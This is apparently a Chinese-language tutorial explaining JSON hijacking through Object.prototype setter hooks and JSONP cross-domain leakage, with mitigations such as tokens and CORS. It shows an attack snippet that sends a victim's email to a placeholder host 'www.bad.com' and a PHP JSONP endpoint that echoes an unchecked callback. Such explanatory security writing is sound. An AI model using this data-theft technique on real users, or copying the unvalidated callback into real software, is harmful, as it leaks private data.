Json劫持漏洞简介

0X00 背景介绍

目前web方向整个从静态向动态网站发展,现在几乎所有的网站都使用Ajax进行数据传输,同时传输的数据都是JSON格式的。JSON是一共轻量级的数据交换语言,易于阅读,同时JSON是JavaScrit的一个子集,因而使用JavaScript来处理JSON数据是十分容易的。
但是如果使用这种交互方式来传递一些敏感数据,并且在传输过程中没有进行安全性的控制将会导致敏感信息的泄漏。

###0X01 攻击方式
针对与json劫持攻击存在2中类型的攻击方式。

json解析数据方式劫持

如果在正常的网页中,存在直接访问json数据的GET请求,如请求www.good.com/user/mail.json同时这个请求没有对用户的身份进行严格的认证,那么当用户访问一个恶意站点的时候,恶意站点同样包含为获取www.good.com/user/mail.json的GET请求,再通过json HiJacking的方式就可以获取到这些json数据,然后发送到恶意的站点。整个过程的流程图如下所示:

json-hijakcing示意图
上面的原理图中比较关键的步骤是第4步和第7步。当用户访问恶意站点之后,从正常站点将json数据下载下来之后,如何发送到恶意站点上去。访问的恶意站点的页面仅仅是通过script标签的src属性进行导入的。

1
<script src="www.good.com/data.json"></script>

data.json的数据是如下所示:

1
2
3
4
5
6
7
{
"fname":"Brian",
"lname":"Chess",
"phone":"6502135600",
"purchase":60000.00,
"email":"brian@163.com"
}

在这种情况下就可以使用到json hijacking的技术。当json数据从服务器端到达浏览器之后,这些json会被浏览器解析为JavaScript中的Object的实例。在这种情况下,只要重写Object类的set方法,就可以获取到想要的数据。以下就是攻击代码。

1
2
3
4
5
6
7
8
9
<script type="text/javascript">
Object.defineProperty(Object.prototype,"email",{
set:function(obj) {
// send data to www.bad.com
senddata2badsute(obj)
}
});
</script>
<script type="text/javascript" src="www.good.com/data.json"/>

我们为Object类的email属性折纸一个Hook函数。在JavaScript中所有的类都是继承至Object类,所以defineProperty()这个方法为所有的对象的email属性都增加了一个Hook函数。当有对象设置emial属性的时候,就会云翔上面这段代码。所以当浏览器获取到了json数据,要将json数据转化为JavaScript对象的时候,由于json数据中存在email属性的设置,此时救护触发Hook函数,而这个函数就会将数据传送到攻击者。这个过程就完成了json数据的劫持了。
PS:目前网络上关于这方面的资料大部分都是2012年之前的,此时我尝试进行重新的时候,发现已经无法实现了。说明浏览器目前已经修复了这个漏洞。关于hook对象的属性设置目前的实现方法与之前的方法也相同了。

1
2
3
4
5
Object.defineProperty(Object.prototype,"Id",{
set:function(obj) {
alert(obj);
}
});

上面的代码就是一个简单的hook对象的Id的方法,当有对象设置Id这个属性的时候,就会弹出对话框。
若我们有如下的代码:

1
2
3
4
5
var people = new Object();
people.Id = 123456;
/*触发事件*/
var my={"Id":123};
my.Id = 1234;

这样会触发事件。
但是如果我们是直接声明并且赋值给一个对象,这个时候就不会触发这个事件。

1
2
var people = {"Id":1234,"name":"Tom"};
//不会触发事件

json数据分享

在目前网站开发中,很常见的例子就是需要在不同的域中传输JSON数据。具体表现在,例如某大公司里面有多个域名为不同的用户提供服务。但是其中一个域名如www.A.com想要获取www.b.com/userdata.json中的数据,由于同源策略的存在,使得A无法直接获取到数据。为了解决数据跨域的问题,这个时候就会要求服务器端配合进行跨域的处理。关于JSONP的本质可以参见[这篇文章](http://www.cnblogs.com/yuzhongwusan/archive/2012/12/11/2812849.html)。而JSONP的样例代码可以参考[这篇文章](http://justcoding.iteye.com/blog/1366102/)
其中在JSONP在服务器的实现具体代码为:

1
2
3
4
5
6
<?php
$callback = $_GET["callback"];
$arr = array('a'=>1,"b"=>1);
$result = json_encode($arr);
echo $callback."($result)";
?>

首先是在服务器端生成JSON数据,然后通过拼接字符串的方式以JavaScript中的方法调用来执行这个方法,此时就会生成一段js语法的文档,返回给客户端。当客户端的浏览器解析script标签只i和,就会执行返回的javascript文档,此时就会执行预先定义的代码了。可以参考文献1。虽然这种方式可以为跨域提供一个解决方法,但是也带来了安全性的问题。如果缺乏一定的安全检验机制,就会对一些数据敏感的应用造成严重的打击。

0X02 修复方法

由于目前对于第一种直接通过hook对象的攻击方式目前已经被浏览器修复了,目前已经不存在这个问题了。
对于第二种JSONP的问题,目前常见的解决方法有:为这种请求增加一个token的校验,使用CORS(跨域资源共享)的方式来解决。

参考文献
1.WooYun: QQMail邮件泄露漏洞